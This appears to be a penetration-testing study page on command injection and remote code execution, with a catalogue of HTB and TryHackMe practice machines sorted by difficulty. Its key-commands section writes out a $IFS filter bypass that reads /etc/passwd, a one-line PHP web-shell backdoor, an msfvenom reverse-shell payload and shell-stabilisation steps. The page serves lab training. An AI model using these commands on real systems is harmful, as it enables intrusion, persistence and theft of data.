Command Injection and RCE: practice machines and key commands

By Daniel Dayan ยท Updated

Command injection occurs when an application passes input to a system shell. Try separators such as ;, &&, |, backticks and $() after a legitimate value, and test blind cases with a sleep or an out-of-band request to your own listener. When spaces or specific characters are filtered, alternatives like ${IFS}, brace expansion and quoting tricks often bypass the check. Once you can run a command, prefer a short reverse shell or write a web shell, then stabilise the TTY before enumerating. Public remote code execution exploits for known CVEs follow the same pattern but usually need edits to the target address, payload or offsets, so read the code before running it. Identify the service version first, then match it to a trusted advisory. The machines here have a command execution foothold.

Key commands

Placeholders in braces, such as {TARGET_IP}, are values you fill in for your target.

Command Injection Space Filter Bypass ($IFS)

Bypass space character filtering in vulnerable web commands using bash internal field separator.

cat$IFS/etc/passwd

Minimal PHP Single-Line Backdoor

Lightweight PHP command execution backdoor for quick web root persistence.

echo '<?php system($_GET["cmd"]); ?>' > shell.php

msfvenom Linux x64 Staged Reverse TCP ELF

Compile standalone ELF reverse shell binary for x64 Linux target.

msfvenom -p linux/x64/shell_reverse_tcp LHOST={LHOST} LPORT={LPORT} -f elf -o shell.elf

TTY Interactive Shell Stabilization (Python + stty)

Upgrade dumb reverse shell to fully interactive pseudo-terminal with tab completion and arrow keys.

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Press Ctrl+Z to background shell
stty raw -echo; fg
export TERM=xterm-256color
stty rows 38 columns 140

Keep going

Command Injection and RCE machines (58)

18 of these are machines I solved myself and are listed first within each difficulty. 44 Linux, 14 Windows.

Listed when a machine has a catalog tag that is one of: exploiting shellshock, backdoor, xp cmdshell, command injection, cmd injection, rce, exploit modification, exploiting cve, webshell; or a tag that contains the word rce or contains the text shellshock. Capital letters, hyphens and underscores are ignored, and the tags that matched come first in each row. "Editor-mapped" marks machines assigned to this topic by hand because none of their tags match.

Command Injection and RCE at a glance

Very Easy (2)

MachinePlatformOSTags
Archetypexp_cmdshellMSSQLJuicyPotatoPowerShellHTBWindowsxp_cmdshell, MSSQL, JuicyPotato, PowerShell
PennyworthRCEJenkinsGroovyDefault CredentialsHTBLinuxRCE, Jenkins, Groovy, Default Credentials

Easy (30)

MachinePlatformOSTags
Agent TBackdoorRCEPHP-8.1.0-devTHMLinuxBackdoor, RCE, PHP-8.1.0-dev
Bashed IppSecHTBLinuxEditor-mapped
Beep IppSecHTBLinuxEditor-mapped
EpochCommand-InjectionTHMLinuxCommand-Injection
Grandpa IppSecCVE-2017-7269HTBWindowsEditor-mapped, CVE-2017-7269
Granny IppSecCVE-2017-7269HTBWindowsEditor-mapped, CVE-2017-7269
Knife IppSecHTBLinuxEditor-mapped
LameCVE-2007-2447SambaHTBLinuxEditor-mapped, CVE-2007-2447, Samba
LegacyCVE-2008-4250SMBHTBWindowsEditor-mapped, CVE-2008-4250, SMB
Netmon IppSecCVE-2018-9276HTBWindowsEditor-mapped, CVE-2018-9276
Optimum IppSecCVE-2014-6287HTBWindowsEditor-mapped, CVE-2014-6287
Pickle RickCommand-InjectionWeb-EnumerationSudoTHMLinuxCommand-Injection, Web-Enumeration, Sudo
RootMeFile UploadSUID-PythonTHMLinuxEditor-mapped, File Upload, SUID-Python
Shocker IppSecExploiting-shellshockExploiting-NOPASSWDHTBLinuxExploiting-shellshock, Exploiting-NOPASSWD
TwoMillion IppSecHTBLinuxEditor-mapped
Vulnerability CapstoneRCEFuel CMSCVE-2020-17463THMLinuxRCE, Fuel CMS, CVE-2020-17463
Arctic IppSecExploit-modificationHTBWindowsExploit-modification
Buff IppSecUnauthenticated-RCEBuffer-OverflowPort-ForwardingHTBWindowsUnauthenticated-RCE, Buffer-Overflow, Port-Forwarding
Busqueda IppSecRCEPythonSearchorGitHTBLinuxRCE, Python, Searchor, Git
IgniteRCEFuel CMSCVE-2018-16763THMLinuxRCE, Fuel CMS, CVE-2018-16763
Irked IppSecExploit-modificationHTBLinuxExploit-modification
LookupCommand-InjectionELKTHMLinuxCommand-Injection, ELK
Love IppSecExploit-modificationApplockerHTBWindowsExploit-modification, Applocker
Networked IppSecCommand-InjectionFile UploadHTBLinuxCommand-Injection, File Upload
Photobomb IppSecCommand-InjectionHTBLinuxCommand-Injection
Precious IppSecCommand-InjectionpdfkitYAML DeserializationRubyHTBLinuxCommand-Injection, pdfkit, YAML Deserialization, Ruby
ResWebShellRedisSUID-XxdTHMLinuxWebShell, Redis, SUID-Xxd
RouterSpaceCommand-InjectionCVE-2021-3156Using-Android-EmulatorsHTBLinuxCommand-Injection, CVE-2021-3156, Using-Android-Emulators
ScriptKiddie IppSecCVE-2020-7384HTBLinuxCVE-2020-7384
SwagShop IppSecExploit-modificationCVE-2015-1397GTFOBinsHTBLinuxExploit-modification, CVE-2015-1397, GTFOBins

Medium (11)

MachinePlatformOSTags
Bastard IppSecExploit-modificationEnumerating-CMS-versionsHTBWindowsExploit-modification, Enumerating-CMS-versions
Cronos IppSecCommand-InjectionExploiting-cron-jobsSQLiHTBLinuxCommand-Injection, Exploiting-cron-jobs, SQLi
Devzat IppSecCommand-InjectionCVE-2019-20933Source-Code-ReviewHTBLinuxCommand-Injection, CVE-2019-20933, Source-Code-Review
DynstrCommand-InjectionDynamic-DNSHTBLinuxCommand-Injection, Dynamic-DNS
Health IppSecExploit-modificationHTBLinuxExploit-modification
Meta IppSecCVE-2020-29599CVE-2021-22204HTBLinuxCVE-2020-29599, CVE-2021-22204
Pit IppSecCVE-2019-12744SNMP-extensionsHTBLinuxCVE-2019-12744, SNMP-extensions
RelevantWebShellSMBIISPrintSpooferTHMWindowsWebShell, SMB, IIS, PrintSpoofer
TentenExploit-modificationSteganographyWordPressHTBLinuxExploit-modification, Steganography, WordPress
TheNotebook IppSecCVE-2019-5736HTBLinuxCVE-2019-5736
Unattended IppSecLFI-to-RCEAnalyzing-kernel-imageHTBLinuxLFI-to-RCE, Analyzing-kernel-image

Hard (10)

MachinePlatformOSTags
Dropzone IppSecExploit-modificationTFTP-data-transferHTBWindowsExploit-modification, TFTP-data-transfer
EarlyAccess IppSecCommand-InjectionLinux-CapabilitiesPHP-filteringReverse-EngineeringHTBLinuxCommand-Injection, Linux-Capabilities, PHP-filtering, Reverse-Engineering
Ellingson IppSecPython-debugger-RCEROP-exploitHTBLinuxPython-debugger-RCE, ROP-exploit
Ghoul IppSecGogs-RCECVE-2018-18925Git-reflogZipSlip-vulnerabilityHTBLinuxGogs-RCE, CVE-2018-18925, Git-reflog, ZipSlip-vulnerability
Intense IppSecSNMP-RCELength-Extension-AttackSQLite-InjectionHTBLinuxSNMP-RCE, Length-Extension-Attack, SQLite-Injection
Monitors IppSecExploit-modificationCVE-2020-9496Java-DeserializationLFIHTBLinuxExploit-modification, CVE-2020-9496, Java-Deserialization, LFI
Overflow IppSecBuffer-OverflowCVE-2021-22204HTBLinuxBuffer-Overflow, CVE-2021-22204
Tally IppSecExploit-modificationEnumerating-SharepointMSSQLHTBWindowsExploit-modification, Enumerating-Sharepoint, MSSQL
Year of the DogCommand-InjectionSQLiGiteaTHMLinuxCommand-Injection, SQLi, Gitea
Year of the FoxCommand-InjectionPort-ForwardingTHMLinuxCommand-Injection, Port-Forwarding

Insane (5)

MachinePlatformOSTags
Bankrobber IppSecCommand-InjectionBuffer-OverflowFile-read-through-SQLiHTBWindowsCommand-Injection, Buffer-Overflow, File-read-through-SQLi
Brainfuck IppSecExploit-modificationEnumerating-mail-serversWordPressSSH-key-brute-forcingHTBLinuxExploit-modification, Enumerating-mail-servers, WordPress, SSH-key-brute-forcing
Kryptos IppSecRCE-via-SQLite3Analysing-RNGExploiting-RC4-flawsPDO-InjectionHTBLinuxRCE-via-SQLite3, Analysing-RNG, Exploiting-RC4-flaws, PDO-Injection
Nightmare IppSecExploit-modificationCVE-2017-1000112SSH-brute-forcingHTBLinuxExploit-modification, CVE-2017-1000112, SSH-brute-forcing
Stacked IppSecCVE-2021-32090HTBLinuxCVE-2021-32090

Related techniques

Related guides: TJ Null OSCP list, OSCP exam scoring and time budget, OSCP vs CPTS, OSCP report template.

Practise it, then track it.

Log every box and the commands you used in ZeroBox.